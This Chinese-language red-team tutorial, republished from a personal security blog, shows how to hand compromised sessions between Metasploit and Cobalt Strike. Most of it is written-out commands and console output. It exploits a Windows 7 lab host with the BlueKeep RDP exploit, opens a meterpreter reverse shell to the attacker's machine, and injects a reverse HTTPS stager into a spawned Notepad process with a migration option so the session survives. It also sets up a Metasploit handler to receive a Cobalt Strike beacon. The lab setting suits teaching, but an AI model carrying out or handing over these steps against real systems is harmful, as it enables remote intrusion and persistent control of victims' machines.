前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >经验总结 | CS与MSF之间的会话传递

经验总结 | CS与MSF之间的会话传递

作者头像
TeamsSix
发布2021-02-04 11:34:20
3.7K0
发布2021-02-04 11:34:20
举报
文章被收录于专栏:TeamsSix的网络空间安全专栏

0x00 前言

众所周知,Cobalt Strike 的前身是 Armitage,而 Armitage 又可以理解为 Metasploit Framework 的图形界面版,因此 Cobalt Strike 与 Metasploit Framework 在很多地方都是兼容的,所以我们便可以将 Metasploit Framework 攻击产生的会话传递到 Cobalt Strike 上,同样的 Cobalt Strike 的会话也能够传递到 Metasploit Framework

Metasploit Framework 会话传递到 Cobalt Strike 上整体过程如下:

1、Metasploit Framework 调用攻击载荷,这里调用的是喜闻乐见的 CVE-2019-0708

2、Metasploit Framework 发起攻击,获取会话

3、Cobalt Strike 新建一个 Beacon,这里使用的是 HTTPS Beacon

4、最后,在 Metasploit Framework 上调用 exploit/windows/local/payload_inject 模块

5、在该模块上配置与 Cobalt Strike 上为同样类型的 payload,即 HTTPS Payload,设置 Cobalt Strike 服务器的 IP 和 端口后运行即可

Cobalt Strike 会话传递到 Metasploit Framework 上整体过程如下:

1、首先,Cobalt Strike 需要获得一个会话,这里直接采用 Scripted Web Delivery(S)的方式使靶机上线

2、接着,Metasploit Framework 调用 exploit/multi/handler 模块

3、在该模块上配置 HTTP Payload,为该 payload 的 IP 和 端口设置成 Metasploit Framework 所在主机 IP,端口自定义即可

4、 之后运行该模块

5、在 Cobalt Strike 上创建一个 Foreign HTTP 的监听,监听 IP 和端口设置成刚才 Metasploit Framework 上所监听的 IP 和端口

7、接着在 Cobalt Strike 上右击选择要传递的会话,找到 Spawn 选项,选择刚刚创建的监听器即可

环境信息: 攻击 IP:192.168.175.200 (Cobalt Strike 服务端、Metasploit Framework 所在主机) 靶机 IP:192.168.175.177 (一台有 CVE-2019-0708 漏洞的 Win7 SP1 64 位靶机)

0x01 MSF 会话传递到 CS

1、Cobalt Strike 上的操作

首先来到 Cobalt Strike 目录下,启动 Cobalt Strike 服务端

代码语言:javascript
复制
./teamserver yourip yourpassword

之后打开 Cobalt Strike 客户端进行连接

代码语言:javascript
复制
./start.sh

输入服务端密码连接上之后,点击 Cobalt Strike → Listeners 打开 Listeners 界面,点击下方的 Add 按钮,输入 Beacon 名称,这里选择的是 HTTPS Beacon,添加上主机 IP,点击保存,即可创建一个 HTTPS Beacon

2、Metasploit Framework 上的操作

首先,打开 Metasploit Framework

代码语言:javascript
复制
msfconsole

调用 CVE-2019-0708 模块

代码语言:javascript
复制
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce

设置靶机 IP

代码语言:javascript
复制
set rhost 192.168.175.177

设置 Payload

代码语言:javascript
复制
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.175.200

发起攻击

代码语言:javascript
复制
exploit

整体过程如下:

代码语言:javascript
复制
root@kali:~# msfconsole

msf5 > use exploit/windows/rdp/cve_2019_0708_bluekeep_rce

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set rhost 192.168.175.177
rhost => 192.168.175.177

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set lhost 192.168.175.200
lhost => 192.168.175.200

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > exploit
[*] Started reverse TCP handler on 192.168.175.200:4444 
[*] 192.168.175.177:3389 - Using auxiliary/scanner/rdp/cve_2019_0708_bluekeep as check
[+] 192.168.175.177:3389  - The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channel.
[*] 192.168.175.177:3389  - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.175.177:3389 - Using CHUNK grooming strategy. Size 250MB, target address 0xfffffa8028608000, Channel count 1.
[!] 192.168.175.177:3389 - <---------------- | Entering Danger Zone | ---------------->
[*] 192.168.175.177:3389 - Surfing channels ...
[*] 192.168.175.177:3389 - Lobbing eggs ...
[*] 192.168.175.177:3389 - Forcing the USE of FREE'd object ...
[!] 192.168.175.177:3389 - <---------------- | Leaving Danger Zone | ---------------->
[*] Sending stage (206403 bytes) to 192.168.175.177
[*] Meterpreter session 4 opened (192.168.175.200:4444 -> 192.168.175.177:49167) at 2020-07-26 05:57:22 -0400

meterpreter >

3、开始传递会话

首先,backgroud 会话

代码语言:javascript
复制
background

调用 payload_inject 模块

代码语言:javascript
复制
use exploit/windows/local/payload_inject

设置 HTTPS Payload

代码语言:javascript
复制
set payload windows/meterpreter/reverse_https

设置 lhost 和 lport 为 Cobalt Strike 的监听 IP 与端口

代码语言:javascript
复制
set lhost 192.168.175.200
set lport 443

设置 DisablePayloadHandler 为 True,此选项会让 Metasploit Framework 避免在其内起一个 handler 来服务你的 payload 连接,也就是告诉 Metasploit Framework 说我们已经建立了监听器,不必再新建监听器了。

代码语言:javascript
复制
set DisablePayloadHandler True

(可选)设置 PrependMigrate 为 True,此选项让 Metasploit Framework 前置 shellcode 在另一个进程中运行 payload stager,如果被利用的应用程序崩溃或被用户关闭,这会帮助 Beacon 会话存活。

代码语言:javascript
复制
set PrependMigrate True

设置要传递的会话 session,如果不知道自己的 session id,可以通过 sessions -l 查看,我这里待传递的 session id 为 4

代码语言:javascript
复制
 set session 4

开始会话传递

代码语言:javascript
复制
run

整体过程如下:

代码语言:javascript
复制
msf5 > background 
[*] Backgrounding session 4...

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > use exploit/windows/local/payload_inject

msf5 exploit(windows/local/payload_inject) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https

msf5 exploit(windows/local/payload_inject) > set lhost 192.168.175.200
lhost => 192.168.175.200

msf5 exploit(windows/local/payload_inject) > set lport 443
lport => 443

msf5 exploit(windows/local/payload_inject) > set DisablePayloadHandler True
DisablePayloadHandler => true

msf5 exploit(windows/local/payload_inject) > set PrependMigrate True
PrependMigrate => True

msf5 exploit(windows/local/payload_inject) >  set session 4
session => 4

msf5 exploit(windows/local/payload_inject) > run
[*] Running module against WIN-T0UES7KBMJ5
[*] Spawned Notepad process 544
[*] Injecting payload into 544
[*] Preparing 'windows/meterpreter/reverse_https' for PID 544

此时,来到 Cobalt Strike 下已经可以看到传递过来的会话了

0x02 Cobalt Strike 会话传递到 Metasploit Framework

1、Cobalt Strike 上的操作

与上述 Cobalt Strike 的操作步骤一样,这里先创建一个 HTTPS Beacon,接下来创建一个 Powershell 类型的 Scripted Web Delivery(S)

为了使 Cobalt Strike 获得一个会话,需要复制创建好的命令,并在靶机上运行,此时靶机便会上线了

2、Metasploit Framework 上的操作

首先,在 Metasploit Framework 上调用 handler 模块

代码语言:javascript
复制
use exploit/multi/handler

设置 HTTP Payload

代码语言:javascript
复制
set payload windows/meterpreter/reverse_http
set lhost 192.168.175.200
set lport 4480

运行该模块

代码语言:javascript
复制
run

整体过程如下:

代码语言:javascript
复制
msf5 > use exploit/multi/handler

msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http

msf5 exploit(multi/handler) > set lhost 192.168.175.200
lhost => 192.168.175.200

msf5 exploit(multi/handler) > set lport 4480
lport => 4480

msf5 exploit(multi/handler) > run
[*] Started HTTPS reverse handler on http://192.168.175.200:4480

3、开始会话传递

在 Cobalt Strike 上先创建一个 Foreign HTTP 监听,IP 和 端口设置成上面 Metasploit Framework 所设置 handler 模块的端口和 IP

之后在 Cobalt Strike 上右击待传递的会话选择 Spawn ,选择刚刚创建的 Foreign HTTP 监听

来到 Metasploit Framework 便能够看到会话已经传递过来了

原文链接:https://www.teamssix.com/year/210129-191714.html

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-01-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 TeamsSix 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00 前言
  • 0x01 MSF 会话传递到 CS
    • 1、Cobalt Strike 上的操作
      • 2、Metasploit Framework 上的操作
        • 3、开始传递会话
        • 0x02 Cobalt Strike 会话传递到 Metasploit Framework
          • 1、Cobalt Strike 上的操作
            • 2、Metasploit Framework 上的操作
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档